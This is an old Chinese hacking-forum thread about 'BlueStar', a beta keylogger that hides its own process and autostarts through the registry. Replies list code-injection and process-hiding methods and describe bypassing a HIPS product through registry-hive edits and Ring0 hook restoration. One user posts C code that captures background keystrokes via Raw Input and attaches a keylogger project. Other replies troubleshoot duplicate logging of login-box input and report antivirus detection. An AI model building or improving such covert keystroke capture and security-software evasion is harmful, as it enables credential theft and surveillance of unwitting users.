发新话题
打印

[原创]键盘记录工具BlueStar Beta v0.99

引用:
引用第11楼gyzy2006-11-30 11:26发表的:
关于代码注入,有很多种方法,我列出一些,供丰初兄参考:
1.CreateRemoteThread
我博客上有个可以参考:http://www.xyzreg.net/gyzy/blog/read.php/9.htm
另外《windows核心编程》中就有这样的例子
2.SetThreadContext
.......
我觉得大家这么热情参与这个keylogger不会真的要把它壮大吧?关于进程隐藏,我想说说我比较偏激的看法:
其实gyzy提到的方法GSS都可以拦截到,窃以为在恶意代码与AV的较量中,这次AV占了上峰,而且是绝对的上峰,无论是技术上的还是细节上的。很多技术我们知道,但都懒得很细腻的施展在自己的代码里,说是“懒得”,其实大部分人是无法完成这些看似简单的细节,现在,GSS在技术和细节上以完美的姿态击倒了诸多恶意代码在进程方面的“核心技术”。其实,就我看来,如果没有什么技术上的突破,再搞这些没什么意思了。
尽管未必会有很多人使用这类AV,但大家心里要明白,那些曾经高深的技术已经落败为小伎俩。或许用了这些伎俩的程序还在别人的机器上自豪的run着,但是,实际上只是AV有没有走到你的程序面前当众将你的小伎俩挑穿的问题。
至于GSS核心技术是什么(简单的hook api吗?不敢妄言),如果高人有兴趣,还望研究后普施于众。

TOP

好东西,被我找到了,哈哈
无敌小龙
http://hi.baidu.com/pespin

TOP

TO:progray
  首先我觉得没有跟**效劲,而是借助一个小程序去不断的探索一些本人未能学到但非常有兴趣学的东东,从而引起共享,大家一起学习.
对一些旧的技术,我觉得我如果没有了解与掌握的话,是很难发现新的技术的,"我看得远,是因为我站在巨人的肩膀上",个人认为吧,很多东东是建立在旧的东东基础上有所创新的......  
  但你的观点我不否认,每人看待事情的立场都不同,呵呵,,,,,
倚剑天涯过客,细水竹楼,杏酒花雨一杯,把酒歌,柳絮东来燃花,歌谓吾忧,孤影月下寻欢,清明花谢,谢落细柳坟前;一杯酒,一人饮尽一人冥,两茫茫,香尽人绝,唯有碧中血;---------------丰初

TOP

progray兄弟的见解很深刻,支持一下,非常感谢您的意见.我们EST提供的是一种讨论技术的氛围,并没有任何其它的意思.看来GSS比较厉害,有空一定要研究一下,但觉得progray兄弟的有些看法我有点意见,仅代表我个人的观点,很希望能与progray兄弟交流.GSS假如能拦截对PE文件的恶意操作的话,那么恐怕文件型病毒这玩意就快要从地球上消失了,现在的HIPS越做越强大,PE感染将是以后恶意软件发展的一个趋势(个人猜测而已),这里PE感染是一个比较宽泛的概念.旧的技术随着anti技术的发展,可能会退出历史舞台,但假如我们连这些"陈旧"的东西都没学好,怎么去创新呢?对于GSS,我想也只有研究后采有发言权:)

TOP

回楼上二位:
    lz,你可能误会了,我的回复不是专指你。其实这个帖的亮点在于回帖的各位的精彩补充,我前一回复已经说明了"大家这么热情参与这个keylogger...",更多的是指回帖的各位朋友。你作为学习很好,我的标题写的也是"当学习就好",所以我们之间应该不存在什么立场不同的问题。希望大家都能从这个帖子的回复中学习到更多东西。
    TO gyzy,你可能也有些误会了,GSS是进程操作拦截方面做得比较好,不是拦截PE恶意操作,更不是文件感染,这与进程隐藏是非常不同的。基本上目前我所知道的和你所列出的进程隐藏技术,并不是对pe文件的操作,而是对其内存映像的操作,这个你肯定很清楚,只不过映像与PE格式有紧密的联系,但绝对是不同的。旁不多说,看看你列出的相关内容的代码就知道了。
    我上一回复的意思是提醒大家,要注意在进程这方面,AV已经领先了,要更多地考虑如何扩展,本来av与恶意代码之间就是此消彼长的发展,现在av出棋了,那我们下一步在哪里呢?另外,恶意代码不仅仅是进程隐藏, GSS仅仅是在进程的拦截上做的出色,这远远不能使“文件型病毒这玩意就快要从地球上消失”。
    当然还没有熟悉进程隐藏技术的朋友可以多多学习这方面的内容,毕竟有了基础才能更好发展,关于进程隐藏,我觉得gyzy朋友列出的内容基本上差不多了,google一下,每一个都会搜索到现成的代码的。共同学习,共同进步吧 ;-)

TOP

引用:
引用第26楼progray2006-12-01 13:20发表的:
我觉得大家这么热情参与这个keylogger不会真的要把它壮大吧?关于进程隐藏,我想说说我比较偏激的看法:
其实gyzy提到的方法GSS都可以拦截到,窃以为在恶意代码与AV的较量中,这次AV占了上峰,而且是绝对的上峰,无论是技术上的还是细节上的。很多技术我们知道,但都懒得很细腻的施展在自己的代码里,说是“懒得”,其实大部分人是无法完成这些看似简单的细节,现在,GSS在技术和细节上以完美的姿态击倒了诸多恶意代码在进程方面的“核心技术”。其实,就我看来,如果没有什么技术上的突破,再搞这些没什么意思了。
尽管未必会有很多人使用这类AV,但大家心里要明白,那些曾经高深的技术已经落败为小伎俩。或许用了这些伎俩的程序还在别人的机器上自豪的run着,但是,实际上只是AV有没有走到你的程序面前当众将你的小伎俩挑穿的问题。
.......
呵呵,突破GSS不难,而且bypass it的方法还不止一种。至今我好像还没遇到突破不了的安全系统:)。

提示一下,代码注入、进入Ring0、修改注册表、感染文件,这四者是可以相互转化的。实现RD,AD双重防御的GSS貌似很强悍,其实不然。比如,可以采用操作HIVE的方法绕过GSS的注册表监控实现修改注册表;还可以用GSS没监控的进入Ring0的方法进入R0,然后恢复他的钩子;还可以……,太多太多了~~~   当你对系统机制、系统底层很熟悉的时候,你就会感觉到突破安全软件的方法是非常多的。

考虑不全面的HIPS在专业技术研究者面前仍是不堪一击的。另外,再加之一些奇技淫巧,路仍是很宽很宽的~

但是,安全软件厂商也有他们的苦衷,毕竟作为一个企业考虑的东西和完全从技术角度考虑的专业研究者们的出发点是不同的:)
http://www.xyzreg.net

TOP

那个重复记录键盘的问题,我也遇到过
特别是在网页的登陆框里面输入的字符,一般都会被记录2次,没有lz的那么多,呵呵
到现在我也没有找到原因, [s:38]

TOP

TO: nipcdll
"  那个重复记录键盘的问题,我也遇到过
特别是在网页的登陆框里面输入的字符,一般都会被记录2次,没有lz的那么多,呵呵
到现在我也没有找到原因, "

  估计出现四次的情况是运行了加上次,你出现了两次记录是因为你运行了两次,你可以这样子测试,把注册表里面的RUN下的GOOD值去掉,重启下,然后再运行一次软件,他就会只出现记录一次了.
倚剑天涯过客,细水竹楼,杏酒花雨一杯,把酒歌,柳絮东来燃花,歌谓吾忧,孤影月下寻欢,清明花谢,谢落细柳坟前;一杯酒,一人饮尽一人冥,两茫茫,香尽人绝,唯有碧中血;---------------丰初

TOP

[s:39] 偶还是对源码有兴趣 
游戏吧  http://www.game8.cc/MyBlog    http://www.asm32.cn

TOP

TO :ASM
"偶还是对源码有兴趣 "

晚点我出了比较完善的版本,连源码一起公布吧...呵呵,,,,,,,,,,,现在是BETA版,,,,,
倚剑天涯过客,细水竹楼,杏酒花雨一杯,把酒歌,柳絮东来燃花,歌谓吾忧,孤影月下寻欢,清明花谢,谢落细柳坟前;一杯酒,一人饮尽一人冥,两茫茫,香尽人绝,唯有碧中血;---------------丰初

TOP

用了楼主东东之后,发现确实不错:)
今天没事,在公司看了看msdn, 也发现一个获取键盘输入的方法[s:35],不知道是不是和楼主的相似哦?

这里主要是用的win xp的 Raw Input来获取的。
关于Raw input可以到MSDN中查看,网上有人翻译了中文版本的:http://www.cppblog.com/shenhuafeng/archive/2006/09/15/12530.html

主要流程:
1、向系统注册一个或者多个原始输入设备
2、在你注册的原始输入设备数据发生变化时,系统发送一个消息及新数据到你的进程
3、调用GetRawInputData或者GetRawInputBuffer来获取这些数据

这是注册部分的代码:
复制内容到剪贴板
代码:
BOOL RegisitKeyBord(HWND hwnd)
{
   if(NULL == hwnd)
      return false;

   PRegisterRawInputDevices RegisterRawInputDevices = (PRegisterRawInputDevices)GetApiAdd("User32.dll", "RegisterRawInputDevices");
   if(NULL == RegisterRawInputDevices)
      return false;
   
   RAWINPUTDEVICE rid;
   rid.usUsagePage = 0x01;
   rid.usUsage = 0x06;
   rid.dwFlags = RIDEV_INPUTSINK;
   rid.hwndTarget = hwnd;

   return RegisterRawInputDevices(&rid, 1, sizeof(RAWINPUTDEVICE));
}
获取数据的部分代码:
复制内容到剪贴板
代码:
  case WM_INPUT:
     
     if(NULL == GetRawInputData)
     {
        DefWindowProc(hWnd, message, wParam, lParam);
        return 0;
     }      
     GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));
     lpb = new BYTE[dwSize];
     if(lpb == NULL)
     {
        DefWindowProc(hWnd, message, wParam, lParam);
        return 0;
     }
     
     if(GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize, sizeof(RAWINPUTHEADER)) != dwSize)
        MessageBox(NULL, "GetRawInputData doesn't return correct size !", "Raw Input Test", 0);
     
     raw = (RAWINPUT*)lpb;
     
     if (raw->header.dwType == RIM_TYPEKEYBOARD)
     {
        wsprintf(vk, "Kbd: make=%04x Flags:%04x Reserved:%04x ExtraInformation:%08x, msg=%04x VK=%04x \n",
                 raw->data.keyboard.MakeCode,
                 raw->data.keyboard.Flags,
                 raw->data.keyboard.Reserved,
                 raw->data.keyboard.ExtraInformation,
                 raw->data.keyboard.Message,
                 raw->data.keyboard.VKey);
        MessageBox(NULL, vk, "Raw Input Test", 0);
     }
     delete[] lpb;
     DefWindowProc(hWnd, message, wParam, lParam);
     return 0;
这是枚举输入设备的代码:
复制内容到剪贴板
代码:
int main(void)
{
   HANDLE hHeap = GetProcessHeap();
   UINT nDevices = 0;
   PGetRawInputDeviceList GetRawInputDeviceList = NULL;
   
   HMODULE hUser32 = LoadLibrary("User32.dll");
   if(hUser32 != NULL)
   {
      GetRawInputDeviceList = (PGetRawInputDeviceList)GetProcAddress(hUser32, "GetRawInputDeviceList");
      if(NULL == GetRawInputDeviceList)
      {
        printf("Load GetRawInputDeviceList error..\n");
        FreeLibrary(hUser32);
        return -1;
      }
   }
   else
   {
      printf("Load user32.dll error..\n");
      return -1;
   }


   GetRawInputDeviceList(NULL, &nDevices, sizeof(RAWINPUTDEVICELIST));
   PRAWINPUTDEVICELIST pril = (PRAWINPUTDEVICELIST)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(RAWINPUTDEVICELIST) * nDevices);
   PRAWINPUT pri = (PRAWINPUT)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 1024);

   if(NULL == pril)
   {
      printf("HeapAlloc error..\n");
      FreeLibrary(hUser32);
      return -1;
   }

   nDevices = GetRawInputDeviceList(pril, &nDevices, sizeof(RAWINPUTDEVICELIST));
   if(nDevices <= 0)
   {
      printf("GetRawInputDeviceList error..\n");
      HeapFree(hHeap, HEAP_ZERO_MEMORY, pril);
      FreeLibrary(hUser32);
      return -1;
   }

   printf("All %d input devices:\n", nDevices);
   for(UINT i = 0; i < nDevices; i++)
   {
      printf("hDevice: %08x\ttype: %08x\n", pril->hDevice, pril->dwType);
      pril++;
   }
   
   HeapFree(hHeap, HEAP_ZERO_MEMORY, pril);
   FreeLibrary(hUser32);
   return 0;
   
}

附件

KBDLogger.rar (24 KB)

2006-12-9 22:41, 下载次数: 99

修改后的整个工程的代码

源静则流清 本正则丰茂 内修则外理 形端则影直

TOP

TO :kiki
   我的这样精细,直接用HOOK,回调,就OK了,记得论坛以前有人讨论过的.具体哪帖忘记了,等待找到再回帖子上去..
"有个问题是似乎一个键被按下时,会有两次提示???因为我在枚举系统的输入设备列表时,发现了两个键盘输入设备,我也不知道是什么原因"
  这种情况我也没有遇到过,我也很想知道答案....................
倚剑天涯过客,细水竹楼,杏酒花雨一杯,把酒歌,柳絮东来燃花,歌谓吾忧,孤影月下寻欢,清明花谢,谢落细柳坟前;一杯酒,一人饮尽一人冥,两茫茫,香尽人绝,唯有碧中血;---------------丰初

TOP

我知道了,
是KeyUp和KeyDown的原因。
源静则流清 本正则丰茂 内修则外理 形端则影直

TOP

[s:39] 这里有一个看雪牛人写的键盘记录的工具,
http://bbs.pediy.com/showthread.php?s=&threadid=36211

貌似对楼主有用  [s:73]
游戏吧  http://www.game8.cc/MyBlog    http://www.asm32.cn

TOP

引用:
引用第19楼xyzreg2006-11-30 23:56发表的:

呵呵,这个代码是采用操作物理内存进ring0断链隐藏进程的,不过该代码处理不完善,导致内核模块为ntkrnlpa.exe等情况时取地址错误。
测试了一下进程隐藏,xp sp2下没有成功,检查了一下,我的内核模块为ntkrnlpa.exe;
大虾能不能说明一下内核模块为ntkrnlpa.exe和ntoskrnl.exe两者的差别呢?这段代码如何完善呢?
谢谢

TOP

我运行了BlueStar.EXE怎么没反应?进程里也没有啊BlueStar.EXE

TOP

不是说了么
隐藏进程
楼上的认真拜读楼主的帖子了么?
Behold·I send you forth as sheep in the midst of wolves·《马太福音》·10·16

TOP

第一次用任务管理器看不到该进程后来用冰刃终结进程了!
后来任务管理器都能看到该进程了。
我怎么才能删除您这东西? [s:36]

TOP

在2k3环境下,不能隐藏进程,任务管理器可以看见的,不知作者有没有测试?

TOP

引用:
引用第3楼lifediy2006-11-29 11:59发表的:
为什么每一个字符都会记录4个

wwwwssssmmmm      mmmmeeeeiiii   2222yyyyiiii   ggggeeee      zzzziiiiffffuuuu      ddddoooouuuu   hhhhuuuuiiii   2222jjjjiiiilllluuuu      sssshhhhaaaannnngggg
你是运行了啊初的BlueStar.exe 四次吧;

TOP

这个好东东会不会被杀毒软件杀?
好像能够查出来,并杀掉

TOP

在system权限的shell环境下 无法运行.切换到登陆用户权限也如此~请问楼主是什么问题呢?只有在本地登陆的情况下才能成功

TOP

忘记说了是在XPSP2的环境下本地登陆也不会成功

TOP

LZ为什么记录时开了多个文件窗口后不在记录的?

TOP

卡巴6.0.2.542 07年1月18日病毒库 未报,不过注册表被360safe拦截了。 [s:35]
输了你 , 黑了世界又如何.....

TOP

发新话题